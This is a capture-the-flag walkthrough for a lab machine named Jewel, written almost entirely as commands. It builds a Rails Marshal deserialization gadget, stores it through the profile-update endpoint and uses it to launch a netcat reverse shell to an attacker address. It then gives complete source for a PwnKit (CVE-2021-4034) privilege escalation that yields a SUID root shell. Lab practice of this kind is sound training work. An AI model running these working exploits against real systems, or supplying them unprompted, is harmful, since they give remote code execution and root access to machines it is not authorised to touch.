Jewel

Register the target hostname for local resolution.

$ echo "$TARGET jewel.htb" | sudo tee -a /etc/hosts

Identify all open ports and service banners.

$ nmap -Pn -sV -p22,8000,8080 $TARGET

Confirm the redirect from port 8000 root to /gitweb/.

$ curl -si 'http://jewel.htb:8000/' | grep -i 'location\|server'

Download the complete repository snapshot without credentials.

$ curl -s 'http://jewel.htb:8000/gitweb/?p=.git;a=snapshot;h=HEAD;sf=tgz' -o repo.tgz

Extract the archive into the src/ working directory.

$ mkdir src && tar xzf repo.tgz -C src --strip-components=1

Confirm Rails version 5.2.2.1 in the dependency lockfile.

$ grep -E '^ {4}rails ' src/Gemfile.lock

Locate the vulnerable raw: true cache read in the controller.

$ grep -n 'cache\|raw\|current_user' src/app/controllers/application_controller.rb

Confirm the username column is present and writable via the users update endpoint.

$ grep -n 'username\|password_digest' src/db/schema.rb

Register my own account; inspect /signup HTML to confirm exact field names.

$ curl -c c.jar -b c.jar -X POST 'http://jewel.htb:8080/signup' -d "user[username]=$USERNAME&user[email]=$USERNAME@local.com&user[password]=$PASSWORD2"

Authenticate and follow the redirect to populate the session cookie.

$ curl -c c.jar -b c.jar -X POST 'http://jewel.htb:8080/login' -d "user[email]=$USERNAME@local.com&user[password]=$PASSWORD2" -L -o home.html

Extract the CSRF token and own user_id for the gadget delivery request.

$ TOKEN=$(curl -s -b c.jar 'http://jewel.htb:8080/users/edit' | grep -oP 'name="authenticity_token" value="\K[^"]+'); USER_ID=$(curl -s -b c.jar 'http://jewel.htb:8080/' | grep -oP 'href="/users/\K[0-9]+' | head -1); echo "TOKEN=$TOKEN USER_ID=$USER_ID"

Start the reverse shell listener (run in a background terminal on my machine).

$ nc -lvnp 4444

The gadget is three objects: the ERB that holds the command, the proxy that calls it, and Marshal to rebuild them.

$ cat > make_payload.rb <<'RB'
require 'erb'
require 'active_support'
require 'cgi'
# ERB keeps the source it will run in @src. A deprecation proxy calls a
# method on the object it wraps when it is inspected, and Marshal.load
# rebuilds both -- so loading these bytes runs that source.
erb = ERB.allocate
erb.instance_variable_set :@src, %(`#{ARGV[0]}`)
erb.instance_variable_set :@filename, '1'
erb.instance_variable_set :@lineno, 1
gadget = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
           .new(erb, :result, 'x', ActiveSupport::Deprecation.new)
print CGI.escape(Marshal.dump(gadget))
RB

Captured into a variable rather than printed: the bytes are binary and the next request needs them intact.

$ PAYLOAD=$(ruby make_payload.rb "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f")

Write the gadget bytes into Redis via the profile-update endpoint.

$ curl -b c.jar -c c.jar -X PUT "http://jewel.htb:8080/users/${USER_ID}" --data-urlencode "authenticity_token=${TOKEN}" --data-urlencode "user[username]=${PAYLOAD}"

Load the home page to trigger the cache read and Marshal.load deserialization.

$ curl -b c.jar 'http://jewel.htb:8080/'

In the listener's shell, which is where the deserialised gadget connected back to -> <user.txt>

$ id; cat /home/bill/user.txt
uid=1000(bill) gid=1000(bill)

List all SUID root binaries — pkexec appears in the output.

$ find / -perm -4000 -user root -type f 2>/dev/null

Check the installed Polkit version; anything below 0.105-26+deb10u1 on Debian 10 is vulnerable to CVE-2021-4034.

$ dpkg -l policykit-1

Confirm the SUID root bit is set on pkexec.

$ ls -la /usr/bin/pkexec

Create an isolated working directory on the target for exploit files.

$ mkdir -p /tmp/pk && cd /tmp/pk

Compile the launcher that calls pkexec with argc=0 and the crafted environment.

$ cat > pwn.c <<'EOF'
#include <unistd.h>
int main(){ char *a[]={NULL}; char *e[]={"exploit","PATH=GCONV_PATH=.","CHARSET=PWNKIT","SHELL=pwnkit",NULL};
execve("/usr/bin/pkexec", a, e); return 0; }
EOF
gcc pwn.c -o pwn

Compile the malicious shared object and build the fake GCONV_PATH directory tree.

$ cat > pwnkit.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
void gconv(){}
void gconv_init(){
  setuid(0); setgid(0); seteuid(0); setegid(0);
  system("/bin/cp /bin/bash /tmp/rootbash; /bin/chmod 4755 /tmp/rootbash");
  _exit(0);
}
EOF
mkdir -p exploit
printf 'module UTF-8// PWNKIT// exploit 2\n' > exploit/gconv-modules
gcc -shared -fPIC pwnkit.c -o exploit/exploit.so
touch 'GCONV_PATH=./exploit' && chmod +x 'GCONV_PATH=./exploit'

Trigger pkexec to load the malicious shared object as root; /tmp/rootbash is created with SUID.

$ ./pwn

Drop into a root shell and read the root flag; actual -> <root.txt>

$ /tmp/rootbash -p -c 'id; cat /root/root.txt'
uid=0(root) gid=0(root)